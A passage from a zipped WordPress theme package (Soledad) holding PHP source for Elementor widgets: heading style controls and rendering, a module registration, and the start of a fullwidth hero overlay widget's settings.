				'label'     => __( 'SubTitle Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-heading-subtitle' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'psubtitle_typo',
				'label'    => __( 'SubTitle Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-heading-subtitle',
			)
		);
		
		$this->add_control(
			'stitle_heading',
			array(
				'label'     => __( 'Title', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		
		$this->add_control(
			'ptitle_color',
			array(
				'label'     => __( 'Title Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-heading-title, {{WRAPPER}} .penci-heading-title span, {{WRAPPER}} .penci-heading-title a' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'ptitle_scolor',
			array(
				'label'     => __( 'Title Second Color ( for Gradient Text )', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-heading-title span,{{WRAPPER}} .penci-heading-title a' => 'background: -webkit-linear-gradient(0deg, {{ptitle_color.VALUE}}, {{VALUE}});-webkit-background-clip: text; -webkit-text-fill-color: transparent;' ),
			)
		);
		$this->add_control(
			'ptitle_hcolor',
			array(
				'label'     => __( 'Title URL Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-heading-title a:hover' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'ptitle_shcolor',
			array(
				'label'     => __( 'Title URL Hover Second Color(for Gradient Text)', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-heading-title a:hover' => 'background: -webkit-linear-gradient(0deg, {{ptitle_hcolor.VALUE}}, {{VALUE}});-webkit-background-clip: text; -webkit-text-fill-color: transparent;' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'ptitle_typo',
				'label'    => __( 'Title Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-heading-title',
			)
		);
		
		$this->add_control(
			'lines_bgcolor',
			array(
				'label'     => __( 'Lines Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-fancy-heading.pc-fctline .inner-tit:before,{{WRAPPER}} .penci-fancy-heading.pc-fctline .inner-tit:after' => 'background-color: {{VALUE}};' ),
				'condition' => array( 'add_line' => 'yes' ),
			)
		);
		
		$this->add_control(
			'lines_sbgcolor',
			array(
				'label'     => __( 'Lines Second Color ( for Gradient )', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci-fancy-heading.pc-fctline .inner-tit:before' => 'background-image: linear-gradient(to left, {{lines_bgcolor.VALUE}} , {{VALUE}});background-color: transparent;',
					'{{WRAPPER}} .penci-fancy-heading.pc-fctline .inner-tit:after' => 'background-image: linear-gradient(to right, {{lines_bgcolor.VALUE}} , {{VALUE}});background-color: transparent;',
				),
				'condition' => array( 'add_line' => 'yes' ),
			)
		);

		$this->add_control(
			'sseparator_heading',
			array(
				'label'     => __( 'Separator', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
				'condition' => array( '_use_separator!' => '' ),
			)
		);
		
		$this->add_control(
			'pseparator_color',
			array(
				'label'     => __( 'Separator Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-separator .penci-sep_line' => 'border-color: {{VALUE}};' ),
				'condition' => array( '_use_separator!' => '' ),
			)
		);
		$this->add_control(
			'pseparator_scolor',
			array(
				'label'     => __( 'Separator Second Color ( for Gradient )', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci-separator .penci-sep_holder_l .penci-sep_line' => 'border-image-source: linear-gradient( to left, {{pseparator_color.VALUE}} , {{VALUE}} );border-image-slice: 1;',
					'{{WRAPPER}} .penci-separator .penci-sep_holder_r .penci-sep_line' => 'border-image-source: linear-gradient( to right, {{pseparator_color.VALUE}} , {{VALUE}} );border-image-slice: 1;'
				),
				'condition' => array( '_use_separator!' => '' ),
			)
		);

		$this->add_control(
			'picon_color',
			array(
				'label'     => __( 'Icon Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-heading-icon' => 'color: {{VALUE}};' ),
				'condition' => array( 'add_separator_icon!' => '' ),
			)
		);
		$this->add_responsive_control(
			'picon_size', array(
				'label'     => __( 'Font size for Icon', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-heading-icon' => 'font-size: {{SIZE}}px' ),
				'condition' => array( 'add_separator_icon!' => '' ),
			)
		);
		
		// Content
		$this->add_control(
			'sdesc_heading',
			array(
				'label'     => __( 'Description', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		
		$this->add_control(
			'pdesc_color',
			array(
				'label'     => __( 'Description Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-heading-content' => 'color: {{VALUE}};' ),
			)
		);
		
		$this->add_control(
			'pdesc_acolor',
			array(
				'label'     => __( 'Description Links Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-heading-content a' => 'color: {{VALUE}};' ),
			)
		);
		
		$this->add_control(
			'pdesc_ahcolor',
			array(
				'label'     => __( 'Description Links Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-heading-content a:hover' => 'color: {{VALUE}};' ),
			)
		);
		
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'pdesc_typo',
				'label'    => __( 'Description Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-heading-content',
			)
		);

		$this->end_controls_section();
	}

	protected function render() {
		$settings = $this->get_settings();

		$markup_subtitle = $title_line_class = '';
		$subtitle_pos    = $settings['subtitle_pos'];

		if ( $settings['p_subtitle'] ) {
			$markup_subtitle = '<' . esc_attr( $settings['subtitle_tag'] ) . ' class="penci-heading-subtitle">' . $settings['p_subtitle'] . '</' . esc_attr( $settings['subtitle_tag'] ) . '>';
		}
		if( isset( $settings['add_line'] ) && 'yes' == $settings['add_line'] ){
			$title_line_class = ' pc-fctline';
		}
		?>
		<div class="penci-fancy-heading penci-heading-text-<?php echo esc_attr( $settings['_text_align'] ) . $title_line_class ; ?>">
			<div class="penci-fancy-heading-inner">
				<?php

				if ( $markup_subtitle && 'above' == $subtitle_pos ) {
					echo $markup_subtitle;
				}
				if ( $settings['p_title'] ) {

					$title = $settings['p_title'];
					if ( ! empty( $settings['title_link']['url'] ) ) {
						$this->add_render_attribute( 'url', 'href', $settings['title_link']['url'] );

						if ( $settings['title_link']['is_external'] ) {
							$this->add_render_attribute( 'url', 'target', '_blank' );
						}

						if ( ! empty( $settings['title_link']['nofollow'] ) ) {
							$this->add_render_attribute( 'url', 'rel', 'nofollow' );
						}

						$title = sprintf( '<a %1$s>%2$s</a>', $this->get_render_attribute_string( 'url' ), $settings['p_title'] );
					}

					echo '<' . esc_attr( $settings['title_tag'] ) . ' class="penci-heading-title"><span class="inner-tit">' . $title . '</span></' . esc_attr( $settings['title_tag'] ) . '>';
				}

				if ( $markup_subtitle && 'below' == $subtitle_pos ) {
					echo $markup_subtitle;
				}

				if ( $settings['_use_separator'] ) {
					echo '<div class="penci-separator penci-separator-' . esc_attr( $settings['separator_style'] ) . ' penci-separator-' . $settings['_text_align'] . '">';
					echo '<span class="penci-sep_holder penci-sep_holder_l"><span class="penci-sep_line"></span></span>';

					if ( $settings['add_separator_icon'] ) {
						echo '<span class="penci-heading-icon ' . esc_attr( $settings['p_icon'] ? $settings['p_icon'] : 'fa fa-adjust' ) . '"></span>';
					}

					echo '<span class="penci-sep_holder penci-sep_holder_r"><span class="penci-sep_line"></span></span>';
					echo '</div>';
				}

				if ( $markup_subtitle && 'belowline' == $subtitle_pos ) {
					echo $markup_subtitle;
				}

				if ( $settings['content'] ) {
					$content = wpautop( preg_replace( '/<\/?p\>/', "\n", $settings['content'] ) . "\n" );
					$content = do_shortcode( shortcode_unautop( $content ) );

					echo '<div class="penci-heading-content entry-content">' . $content . '</div>';
				}
				?>
			</div>
		</div>
		<?php
	}
}
PK     1w\t    9  elementor/modules/penci-fullwidth-hero-overlay/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciFullwidthHeroOverlay;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-fullwidth-hero-overlay';
	}

	public function get_widgets() {
		return array( 'PenciFullwidthHeroOverlay' );
	}
}
PK     1w\'
  
  W  elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciFullwidthHeroOverlay\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Modules\QueryControl\Module as Query_Control;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciFullwidthHeroOverlay extends Base_Widget {

	public function get_name() {
		return 'penci-fullwidth-hero-overlay';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Fullwidth Hero Overlay', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'list', 'post', 'small', 'slider', 'carousel' );
	}

	protected function register_controls() {


		// Section general
		$this->start_controls_section(
			'section_type', array(
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_responsive_control(
			'container_width',
			[
				'label'      => __( 'Container Width', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'size_units' => [ '%', 'px' ],
				'range'      => [
					'px' => [
						'min'  => 500,
						'max'  => 2000,
						'step' => 1,
					],
					'%'  => [
						'min'  => 0,
						'max'  => 100,
						'step' => 0.1,
					],
				],
				'default'    => [
					'unit' => 'px',
					'size' => '1170',
				],
				'selectors'  => [
					'{{WRAPPER}} .pc-fho-container' => 'max-width: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->add_control(
			'column',
			array(
				'label'   => __( 'Small Posts Columns', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					'1' => '1',
					'2' => '2',
					'3' => '3',
					'4' => '4',
					'5' => '5',
					'6' => '6',
				),
				'default' => '4',
			)
		);

		$this->add_control(
			'tab_column',
			array(
				'label'   => __( 'Small Posts Columns on Tablet', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					''  => 'Default',
					'2' => '2',
					'3' => '3',
					'4' => '4',
				),
				'default' => '',
			)
		);

		$this->add_control(
			'mb_column',
			array(
				'label'   => __( 'Small Posts Columns on Mobile', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					''  => 'Default',
					'1' => '1',
					'2' => '2',
				),
				'default' => '',
			)
		);

		$this->end_controls_section();

		$this->register_query_section_controls();

		$this->start_controls_section(
			'section_image', array(
				'label' => esc_html__( 'Image', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'disable_lazy', array(
				'label'        => __( 'Disable Lazyload Images?', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'default'      => '',
			)
		);

		$this->add_control(
			'main_thumb_size', array(
				'label'   => __( 'Image Size for Big Post', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => $this->get_list_image_sizes( true ),
			)
		);

		$this->add_control(
			'main_mthumb_size', array(
				'label'   => __( 'Image Size for Big Post on Mobile', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => $this->get_list_image_sizes( true ),
			)
		);

		$this->add_responsive_control(
			'img_ratio', array(
				'label'     => __( 'Image Ratio for Small Posts', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 1, 'max' => 300, 'step' => 0.5 ) ),
				'selectors' => array(
					'{{WRAPPER}} .pc-fho-li .penci-image-holder:before' => 'padding-top: {{SIZE}}%;',
				),
			)
		);

		$this->add_control(
			'thumb_size', array(
				'label'   => __( 'Image Size for Small Posts', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => $this->get_list_image_sizes( true ),
			)
		);

		$this->add_control(
			'mthumb_size', array(
				'label'   => __( 'Image Size for Small Posts on Mobile', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => $this->get_list_image_sizes( true ),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_postmeta', array(
				'label' => esc_html__( 'Post Meta Data', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'post_meta', array(
				'label'    => __( 'Showing Post Meta', 'soledad' ),
				'type'     => Controls_Manager::SELECT2,
				'default'  => array( 'title', 'author', 'date' ),
				'multiple' => true,
				'options'  => array(
					'cat'     => esc_html__( 'Categories', 'soledad' ),
					'author'  => esc_html__( 'Author', 'soledad' ),
					'date'    => esc_html__( 'Date', 'soledad' ),
					'comment' => esc_html__( 'Comments', 'soledad' ),
					'views'   => esc_html__( 'Views', 'soledad' ),
					'reading' => esc_html__( 'Reading Time', 'soledad' ),
				),
			)
		);

		$this->add_control(
			'primary_cat', array(
				'label'        => __( 'Show Primary Category Only', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'description'  => __( 'If you using Yoast SEO or Rank Math plugin, this option will show only the primary category from those plugins. If you don\'t use those plugins, it will show the first category in the list categories of the posts.', 'soledad' ),
				'label_on'     => __( 'On', 'soledad' ),
				'label_off'    => __( 'Off', 'soledad' ),
				'return_value' => 'on',
				'default'      => '',
			)
		);

		$this->add_control(
			'title_length', array(
				'label'   => __( 'Custom Title Words Length', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'min'     => 1,
				'max'     => 100,
				'step'    => 1,
				'default' => '',
			)
		);

		$this->add_control(
			'title_blength', array(
				'label'   => __( 'Custom Title Words Length for Big Post', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'min'     => 1,
				'max'     => 100,
				'step'    => 1,
				'default' => '',
			)
		);

		$this->add_control(
			'show_bicon', array(
				'label'        => __( 'Hide Post Format Icon on Big Post?', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'default'      => '',
			)
		);

		$this->add_control(
			'show_formaticon', array(
				'label'        => __( 'Show Post Format Icons on Small Posts?', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'default'      => '',
			)
		);

		$this->add_control(
			'show_reviewpie', array(
				'label'        => __( 'Show Review Scores from Penci Review plugin', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'default'      => '',
			)
		);

		$this->add_control(
			'heading_show_mobile',
			array(
				'label'     => __( 'Showing on Mobile', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'hide_cat_mobile', array(
				'label'        => __( 'Hide Post Categories on Mobile?', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'return_value' => 'yes',
				'default'      => '',
			)
		);

		$this->add_control(
			'hide_meta_mobile', array(
				'label'        => __( 'Hide Post Meta on Mobile', 'soledad' ),
				'description'  => __( 'Include: Author Name, Date, Comments Count, Views Count, Reading Time', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'return_value' => 'yes',
				'default'      => '',
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_carousel_options',
			array(
				'label' => __( 'Carousel Options', 'soledad' ),
			)
		);

		$this->add_control( 'carousel_slider_effect', array(
			'label'       => __( 'Carousel Slider Effect', 'soledad' ),
			'description' => __( 'The "Swing" effect does not support the loop option.', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => get_theme_mod( 'penci_carousel_slider_effect', 'swing' ),
			'options'     => array(
				'default' => 'Default',
				'swing'   => 'Swing',
			),
		) );

		$this->add_control(
			'autoplay', array(
				'label'   => __( 'Autoplay', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			)
		);

		$this->add_control(
			'loop', array(
				'label'     => __( 'Carousel Loop', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => 'yes',
				'condition' => [ 'carousel_slider_effect' => 'default' ],
			)
		);
		$this->add_control(
			'auto_time', array(
				'label'   => __( 'Carousel Auto Time ( 1000 = 1s )', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'default' => 4000,
			)
		);
		$this->add_control(
			'speed', array(
				'label'   => __( 'Carousel Speed ( 1000 = 1s )', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'default' => 600,
			)
		);
		$this->add_control(
			'shownav', array(
				'label' => __( 'Hide next/prev buttons', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);
		$this->add_control(
			'showdots', array(
				'label' => __( 'Show dots navigation', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		$this->start_controls_section(
			'section_style_content',
			array(
				'label' => __( 'Big Post', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'item_bg',
			array(
				'label'     => __( 'Overlay Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap' => '--obg: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'item_bg_hover',
			array(
				'label'     => __( 'Overlay Background Color on Hover', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap' => '--ohbg: {{VALUE}};' ),
			)
		);

		$this->add_responsive_control(
			'item_padding', array(
				'label'      => __( 'Element Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pc-fho-wrap .pc-fho-bg-wrap' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_responsive_control(
			'mp_item_padding', array(
				'label'      => __( 'Big Post Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pc-fho-wrap .pc-fho-mp' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_responsive_control(
			'mp_icon_iw', array(
				'label'     => __( 'Icon/Content Width ( % )', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( '%' => array( 'min' => 20, 'max' => 50, 'step' => 1 ) ),
				'selectors' => array(
					'(tablet+){{WRAPPER}} .pc-fho-wrap' => '--iconw: {{SIZE}}%;'
				),
			)
		);

		$this->add_responsive_control(
			'mp_icon_content_spacing', array(
				'label'     => __( 'Spacing Between Icon & Content', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 1, 'max' => 200, 'step' => 1 ) ),
				'selectors' => array(
					'{{WRAPPER}} .pc-fho-wrap' => '--maingap: {{SIZE}}px;'
				),
			)
		);

		$this->add_responsive_control(
			'mp_lp_spacing', array(
				'label'     => __( 'Spacing Between Big Post & Small Posts', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, 'step' => 1 ) ),
				'selectors' => array(
					'{{WRAPPER}} .pc-fho-wrap .pc-fho-msli' => 'margin-top: {{SIZE}}px;'
				),
			)
		);

		$this->add_control(
			'mp_icon_heading_title',
			array(
				'label'     => __( 'Big Post Icon', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_responsive_control(
			'mp_icon_align', array(
				'label'       => __( 'Icon Position', 'soledad' ),
				'type'        => Controls_Manager::CHOOSE,
				'label_block' => false,
				'options'     => array(
					'row'         => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					),
					'row-reverse' => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					),
				),
				'selectors'   => array(
					'{{WRAPPER}} .pc-fho-wrap .pc-fho-mpct' => 'flex-direction: {{VALUE}}'
				)
			)
		);

		$this->add_responsive_control(
			'mp_icon_talign', array(
				'label'       => __( 'Icon Align', 'soledad' ),
				'type'        => Controls_Manager::CHOOSE,
				'label_block' => false,
				'default'     => 'center',
				'options'     => array(
					'flex-start' => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					),
					'center'     => array(
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					),
					'flex-end'   => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					),
				),
				'selectors'   => array(
					'{{WRAPPER}} .pc-fho-wrap .pc-fho-mpct .pc-fho-mi' => 'justify-content: {{VALUE}}'
				)
			)
		);

		$this->add_responsive_control(
			'mp_icon_size', array(
				'label'     => __( 'Icon Wrapper Size', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 1, 'max' => 300, 'step' => 1 ) ),
				'selectors' => array(
					'{{WRAPPER}} .pc-fho-wrap' => '--iconsz: {{SIZE}}px;'
				),
			)
		);

		$this->add_responsive_control(
			'mp_icon_border_width', array(
				'label'     => __( 'Borders Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 50, 'step' => 1 ) ),
				'selectors' => array(
					'{{WRAPPER}} .pc-fho-wrap' => '--iconbd: {{SIZE}}px;'
				),
			)
		);

		$this->add_responsive_control(
			'mp_icon_i_size', array(
				'label'     => __( 'Icon Size', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, 'step' => 1 ) ),
				'selectors' => array(
					'{{WRAPPER}} .pc-fho-wrap .pc-fho-mi-i i' => 'font-size: {{SIZE}}px;'
				),
			)
		);

		$this->add_control(
			'mp_icon_border_color',
			array(
				'label'     => __( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-mi-i' => 'border-color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'mp_icon_bg_color',
			array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-mi-i' => 'background-color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'mp_icon_color',
			array(
				'label'     => __( 'Icon Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-mi-i' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'heading_pcat',
			array(
				'label'     => __( 'Big Post Categories', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'cat_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-main-cat,{{WRAPPER}} .pc-fho-wrap .pc-fho-main-cat a' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'cat_hcolor',
			array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-main-cat a:hover' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'cat_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .pc-fho-wrap .pc-fho-main-cat,{{WRAPPER}} .pc-fho-wrap .pc-fho-main-cat a',
			)
		);

		$this->add_control(
			'heading_ptitle',
			array(
				'label'     => __( 'Big Post Title', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'title_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-mc .pc-fho-mt a' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'title_hcolor',
			array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-mc .pc-fho-mt a:hover' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'title_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .pc-fho-wrap .pc-fho-mc .pc-fho-mt h3',
			)
		);

		$this->add_control(
			'heading_meta',
			array(
				'label'     => __( 'Big Post Meta', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'meta_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-mc .pc-fho-mm span, {{WRAPPER}} .pc-fho-wrap .pc-fho-mc .pc-fho-mm a' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'links_color',
			array(
				'label'     => __( 'Links Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-mc .pc-fho-mm span a' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'links_hcolor',
			array(
				'label'     => __( 'Links Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-mc .pc-fho-mm span a:hover' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'meta_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .pc-fho-wrap .pc-fho-mc .pc-fho-mm',
			)
		);

		$this->end_controls_section();

		// small list post
		$this->start_controls_section(
			'small_post_section_style_content',
			array(
				'label' => __( 'Small List Posts', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'sitem_bg',
			array(
				'label'     => __( 'Overlay Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap' => '--sobg: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'sitem_bg_hover',
			array(
				'label'     => __( 'Overlay Background Color on Hover', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap' => '--sohbg: {{VALUE}};' ),
			)
		);

		$this->add_responsive_control(
			'small_post_item_bg',
			array(
				'label'     => __( 'Post Content Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-li .pc-fho-li-ct-inner-wrap' => 'background-color: {{VALUE}};' ),
			)
		);

		$this->add_responsive_control(
			'small_post_item_padding', array(
				'label'      => __( 'Post Content Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pc-fho-wrap .pc-fho-li .pc-fho-li-ct-wrap' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_responsive_control(
			'small_post_text_align', array(
				'label'       => __( 'Content Text Align', 'soledad' ),
				'type'        => Controls_Manager::CHOOSE,
				'label_block' => false,
				'options'     => array(
					'left'   => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					),
					'center' => array(
						'title' => __( 'Center', 'soledad' ),
